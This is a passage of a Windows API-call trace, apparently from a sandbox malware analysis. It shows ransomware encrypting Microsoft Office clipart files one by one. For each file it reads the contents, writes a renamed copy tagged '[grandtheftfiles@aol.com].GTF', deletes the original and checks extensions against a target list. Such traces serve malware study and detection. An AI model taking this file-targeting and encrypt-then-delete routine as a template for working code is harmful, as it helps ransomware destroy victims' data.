	[0178.083] GetLastError () returned 0x0
	[0178.083] ReadFile (in: hFile=0x45c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x4e80, lpOverlapped=0x0) returned 1
	[0178.085] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x4e90, lpOverlapped=0x0) returned 1
	[0178.086] ReadFile (in: hFile=0x45c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.086] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.086] SetEndOfFile (hFile=0x3e0) returned 1
	[0178.087] CloseHandle (hObject=0x3e0) returned 1
	[0178.087] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.087] SetEndOfFile (hFile=0x45c) returned 1
	[0178.200] CloseHandle (hObject=0x45c) returned 1
	[0178.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf")) returned 1
	[0178.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.501] lstrlenW (lpString=".doc") returned 4
	[0178.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.501] lstrlenW (lpString=".docx") returned 5
	[0178.501] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0178.501] lstrlenW (lpString=".pdf") returned 4
	[0178.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.501] lstrlenW (lpString=".xls") returned 4
	[0178.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.501] lstrlenW (lpString=".xlsx") returned 5
	[0178.501] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0178.502] lstrlenW (lpString=".ppt") returned 4
	[0178.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.502] lstrlenW (lpString=".zip") returned 4
	[0178.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.502] lstrlenW (lpString=".rar") returned 4
	[0178.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.502] lstrlenW (lpString=".bz2") returned 4
	[0178.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.503] lstrlenW (lpString=".7z") returned 3
	[0178.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.503] lstrlenW (lpString=".dbf") returned 4
	[0178.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.503] lstrlenW (lpString=".1cd") returned 4
	[0178.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.503] lstrlenW (lpString=".jpg") returned 4
	[0178.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.503] lstrlenW (lpString=".doc") returned 4
	[0178.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.503] lstrlenW (lpString=".docx") returned 5
	[0178.503] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0178.503] lstrlenW (lpString=".pdf") returned 4
	[0178.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.503] lstrlenW (lpString=".xls") returned 4
	[0178.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.503] lstrlenW (lpString=".xlsx") returned 5
	[0178.503] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0178.503] lstrlenW (lpString=".ppt") returned 4
	[0178.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.503] lstrlenW (lpString=".zip") returned 4
	[0178.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.503] lstrlenW (lpString=".rar") returned 4
	[0178.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.503] lstrlenW (lpString=".bz2") returned 4
	[0178.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.504] lstrlenW (lpString=".7z") returned 3
	[0178.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.504] lstrlenW (lpString=".dbf") returned 4
	[0178.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.504] lstrlenW (lpString=".1cd") returned 4
	[0178.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0178.504] lstrlenW (lpString=".jpg") returned 4
	[0178.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.504] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.504] lstrlenW (lpString="J0153299.WMF") returned 12
	[0178.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.505] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=36620) returned 1
	[0178.505] CloseHandle (hObject=0x548) returned 1
	[0178.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 0x220
	[0178.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.506] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.506] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.507] GetLastError () returned 0x0
	[0178.507] ReadFile (in: hFile=0x548, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x8f0c, lpOverlapped=0x0) returned 1
	[0178.517] WriteFile (in: hFile=0x558, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x8f10, lpOverlapped=0x0) returned 1
	[0178.520] ReadFile (in: hFile=0x548, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.520] WriteFile (in: hFile=0x558, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.520] SetEndOfFile (hFile=0x558) returned 1
	[0178.520] CloseHandle (hObject=0x558) returned 1
	[0178.520] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.520] SetEndOfFile (hFile=0x548) returned 1
	[0178.523] CloseHandle (hObject=0x548) returned 1
	[0178.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 1
	[0178.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.525] lstrlenW (lpString=".doc") returned 4
	[0178.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.525] lstrlenW (lpString=".docx") returned 5
	[0178.525] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0178.525] lstrlenW (lpString=".pdf") returned 4
	[0178.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.525] lstrlenW (lpString=".xls") returned 4
	[0178.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.525] lstrlenW (lpString=".xlsx") returned 5
	[0178.525] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0178.525] lstrlenW (lpString=".ppt") returned 4
	[0178.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.525] lstrlenW (lpString=".zip") returned 4
	[0178.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.525] lstrlenW (lpString=".rar") returned 4
	[0178.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.526] lstrlenW (lpString=".bz2") returned 4
	[0178.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.526] lstrlenW (lpString=".7z") returned 3
	[0178.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.526] lstrlenW (lpString=".dbf") returned 4
	[0178.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.526] lstrlenW (lpString=".1cd") returned 4
	[0178.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.526] lstrlenW (lpString=".jpg") returned 4
	[0178.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.526] lstrlenW (lpString=".doc") returned 4
	[0178.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.526] lstrlenW (lpString=".docx") returned 5
	[0178.526] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0178.526] lstrlenW (lpString=".pdf") returned 4
	[0178.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.526] lstrlenW (lpString=".xls") returned 4
	[0178.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.526] lstrlenW (lpString=".xlsx") returned 5
	[0178.526] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0178.526] lstrlenW (lpString=".ppt") returned 4
	[0178.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.527] lstrlenW (lpString=".zip") returned 4
	[0178.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.527] lstrlenW (lpString=".rar") returned 4
	[0178.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.527] lstrlenW (lpString=".bz2") returned 4
	[0178.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.527] lstrlenW (lpString=".7z") returned 3
	[0178.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.527] lstrlenW (lpString=".dbf") returned 4
	[0178.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.527] lstrlenW (lpString=".1cd") returned 4
	[0178.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0178.527] lstrlenW (lpString=".jpg") returned 4
	[0178.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.527] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.527] lstrlenW (lpString="J0153302.WMF") returned 12
	[0178.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.528] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=30800) returned 1
	[0178.528] CloseHandle (hObject=0x548) returned 1
	[0178.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 0x220
	[0178.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.530] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.530] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.531] GetLastError () returned 0x0
	[0178.531] ReadFile (in: hFile=0x548, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x7850, lpOverlapped=0x0) returned 1
	[0178.534] WriteFile (in: hFile=0x558, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x7860, lpOverlapped=0x0) returned 1
	[0178.536] ReadFile (in: hFile=0x548, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.536] WriteFile (in: hFile=0x558, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.536] SetEndOfFile (hFile=0x558) returned 1
	[0178.536] CloseHandle (hObject=0x558) returned 1
	[0178.536] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.536] SetEndOfFile (hFile=0x548) returned 1
	[0178.673] CloseHandle (hObject=0x548) returned 1
	[0178.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 1
	[0178.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.925] lstrlenW (lpString=".doc") returned 4
	[0178.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.925] lstrlenW (lpString=".docx") returned 5
	[0178.925] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0178.925] lstrlenW (lpString=".pdf") returned 4
	[0178.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.925] lstrlenW (lpString=".xls") returned 4
	[0178.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.925] lstrlenW (lpString=".xlsx") returned 5
	[0178.925] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0178.925] lstrlenW (lpString=".ppt") returned 4
	[0178.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.925] lstrlenW (lpString=".zip") returned 4
	[0178.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.925] lstrlenW (lpString=".rar") returned 4
	[0178.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.925] lstrlenW (lpString=".bz2") returned 4
	[0178.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.925] lstrlenW (lpString=".7z") returned 3
	[0178.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.925] lstrlenW (lpString=".dbf") returned 4
	[0178.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.926] lstrlenW (lpString=".1cd") returned 4
	[0178.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.926] lstrlenW (lpString=".jpg") returned 4
	[0178.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.926] lstrlenW (lpString=".doc") returned 4
	[0178.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.926] lstrlenW (lpString=".docx") returned 5
	[0178.926] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0178.926] lstrlenW (lpString=".pdf") returned 4
	[0178.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.926] lstrlenW (lpString=".xls") returned 4
	[0178.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.926] lstrlenW (lpString=".xlsx") returned 5
	[0178.926] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0178.926] lstrlenW (lpString=".ppt") returned 4
	[0178.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.926] lstrlenW (lpString=".zip") returned 4
	[0178.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.926] lstrlenW (lpString=".rar") returned 4
	[0178.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.926] lstrlenW (lpString=".bz2") returned 4
	[0178.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.926] lstrlenW (lpString=".7z") returned 3
	[0178.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.926] lstrlenW (lpString=".dbf") returned 4
	[0178.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.927] lstrlenW (lpString=".1cd") returned 4
	[0178.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0178.927] lstrlenW (lpString=".jpg") returned 4
	[0178.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.927] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.927] lstrlenW (lpString="J0153518.WMF") returned 12
	[0178.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0179.084] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=12528) returned 1
	[0179.084] CloseHandle (hObject=0x52c) returned 1
	[0179.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 0x220
	[0179.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0179.084] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.085] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0179.086] GetLastError () returned 0x0
